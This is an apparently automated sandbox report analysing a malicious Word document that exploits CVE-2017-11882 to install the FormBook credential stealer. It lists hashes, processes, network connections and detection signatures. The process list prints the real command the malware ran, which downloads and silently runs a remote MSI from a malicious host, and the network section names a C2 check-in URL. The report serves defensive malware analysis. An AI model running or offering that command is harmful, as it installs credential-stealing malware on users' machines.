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File name:

BT9908 (3).doc

Full analysis: https://app.any.run/tasks/6b59f296-f7aa-4f8c-bf31-f7e37543fe89
Verdict: Malicious activity
Threats:

FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus.

Analysis date: December 14, 2018, 06:54:31
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
opendir
exe-to-msi
loader
trojan
formbook
stealer
Indicators:
MIME: text/plain
File info: ASCII text, with very long lines, with CRLF, LF line terminators
MD5:

27FED39EABD7DDF7ECB47B5E3C47956B

SHA1:

94127DE5B091E25ED1D3D5F8D99EA6C67E14E080

SHA256:

D0D19523727F97ADB1F1EC7D264617221515454456FE30BAF04FC034F2247B1D

SSDEEP:

6144:K7p1JMaod5lxuOWQcP9jE+b6MK1FSKO0SbLlCX+jv7yqET7rNeCLqWuJQBPxNNpH:j

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3204)
    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 3900)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3428)
    • FORMBOOK was detected

      • explorer.exe (PID: 116)
    • Actions looks like stealing of personal data

      • cmmon32.exe (PID: 2624)
    • Changes the autorun value in the registry

      • cmmon32.exe (PID: 2624)
    • Formbook was detected

      • cmmon32.exe (PID: 2624)
      • Firefox.exe (PID: 2440)
    • Connects to CnC server

      • explorer.exe (PID: 116)
    • Stealing of credential data

      • cmmon32.exe (PID: 2624)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3204)
      • cmmon32.exe (PID: 2624)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3428)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3428)
    • Creates files in the user directory

      • cmmon32.exe (PID: 2624)
    • Loads DLL from Mozilla Firefox

      • cmmon32.exe (PID: 2624)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2824)
      • Firefox.exe (PID: 2440)
    • Starts Microsoft Office Application

      • explorer.exe (PID: 116)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2824)
    • Application was crashed

      • EQNEDT32.EXE (PID: 3204)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 3428)
      • MSIAB9B.tmp (PID: 3888)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3428)
    • Application launched itself

      • MSIAB9B.tmp (PID: 3888)
    • Application was dropped or rewritten from another process

      • MSIAB9B.tmp (PID: 3040)
      • MSIAB9B.tmp (PID: 3888)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
11
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe msiab9b.tmp no specs msiab9b.tmp no specs #FORMBOOK cmmon32.exe cmd.exe no specs #FORMBOOK explorer.exe #FORMBOOK firefox.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2824"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\BT9908 (3).doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3204"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
3900cmd.exe & /C CD C: & msiexec.exe /i http://haial.xyz/grandfinal/fa25d0.msi /quiet C:\Windows\system32\cmd.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2272msiexec.exe /i http://haial.xyz/grandfinal/fa25d0.msi /quiet C:\Windows\system32\msiexec.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3428C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3888"C:\Windows\Installer\MSIAB9B.tmp"C:\Windows\Installer\MSIAB9B.tmpmsiexec.exe
User:
admin
Company:
NICrOsOFt
Integrity Level:
MEDIUM
Description:
Brest_8
Exit code:
0
Version:
1.00
3040"C:\Windows\Installer\MSIAB9B.tmp"C:\Windows\Installer\MSIAB9B.tmpMSIAB9B.tmp
User:
admin
Company:
NICrOsOFt
Integrity Level:
MEDIUM
Description:
Brest_8
Exit code:
0
Version:
1.00
2624"C:\Windows\System32\cmmon32.exe"C:\Windows\System32\cmmon32.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Connection Manager Monitor
Version:
7.02.7600.16385 (win7_rtm.090713-1255)
3776/c del "C:\Windows\Installer\MSIAB9B.tmp"C:\Windows\System32\cmd.execmmon32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
116C:\Windows\Explorer.EXEC:\Windows\explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 603
Read events
910
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
76
Text files
10
Unknown types
5

Dropped files

PID
Process
Filename
Type
2824WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR984E.tmp.cvr
MD5:
SHA256:
3428msiexec.exeC:\Users\admin\AppData\Local\Temp\~DFFD9B706681EF7938.TMP
MD5:
SHA256:
3428msiexec.exeC:\Config.Msi\19a8ea.rbs
MD5:
SHA256:
3428msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF1D4C562C3BDD1270.TMP
MD5:
SHA256:
3428msiexec.exeC:\Windows\Installer\MSIA5CB.tmpexecutable
MD5:E909994C42FC31E88E7C0FB62AE02F60
SHA256:8A7D5D2EC2C5F1D5D8E9E724B5C76348BE71B06D6EF6BBBA70061F986A6478F8
2824WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:0FEE22FA40EAB618E269AF59EF990721
SHA256:DB543AC7F35DE26670D8A65A74DD48BCF6E5E70FF2A75D8A42E2FD500F8A170D
3428msiexec.exeC:\Windows\Installer\MSIAB9B.tmpexecutable
MD5:E9784C80006C3BF538318E1B4CCDCA01
SHA256:B7D3B685114ABE06E70B7BDB0CDEA59A21D5DA9783F646730F96FDF6D85FCB77
3428msiexec.exeC:\Windows\Installer\MSIA9A5.tmpbinary
MD5:B9B93AC2A0F66247B52D132837A095B9
SHA256:FF63BD0B832619766AF5AE73C30C4F93745792F7698AEA448A0B8D2782AF2972
2824WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$9908 (3).docpgc
MD5:C5DAD2BF8F99FA9695119DA6038A60D3
SHA256:F65FC11FCC01801158C44CB790834173F28D5580E5A59D8781DB02705194103C
3428msiexec.exeC:\Users\admin\AppData\Local\Temp\History\History.IE5\desktop.iniini
MD5:BA96961F5E22882527919E19DAEA510F
SHA256:DACE5AD59099429D8AED4EE279F1263EFB65D64456931398465A396CF0E79BD7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
116
explorer.exe
GET
302
23.20.239.12:80
http://www.penelopespearls.com/hu/?MfPxV=Anmp8v5JMixf6K7MmOfQIXGEZwBX4MRgE4YRZrD7R80uaOXEtv42iVNUQkoH6byBP6uJpw==&rV1H7=lhd01ng8QZc
US
html
191 b
shared
3428
msiexec.exe
GET
200
89.40.119.248:80
http://haial.xyz/grandfinal/fa25d0.msi
DE
executable
920 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3428
msiexec.exe
89.40.119.248:80
haial.xyz
Aruba SAS
DE
suspicious
116
explorer.exe
23.20.239.12:80
www.penelopespearls.com
Amazon.com, Inc.
US
shared

DNS requests

Domain
IP
Reputation
haial.xyz
  • 89.40.119.248
malicious
www.penelopespearls.com
  • 23.20.239.12
shared

Threats

PID
Process
Class
Message
3428
msiexec.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic
3428
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
3428
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
116
explorer.exe
A Network Trojan was detected
SC SPYWARE Trojan-Spy.Win32.Noon
116
explorer.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious HTTP-GET request with body and minimal header
116
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] FormBook CnC Checkin (GET)
2 ETPRO signatures available at the full report
No debug info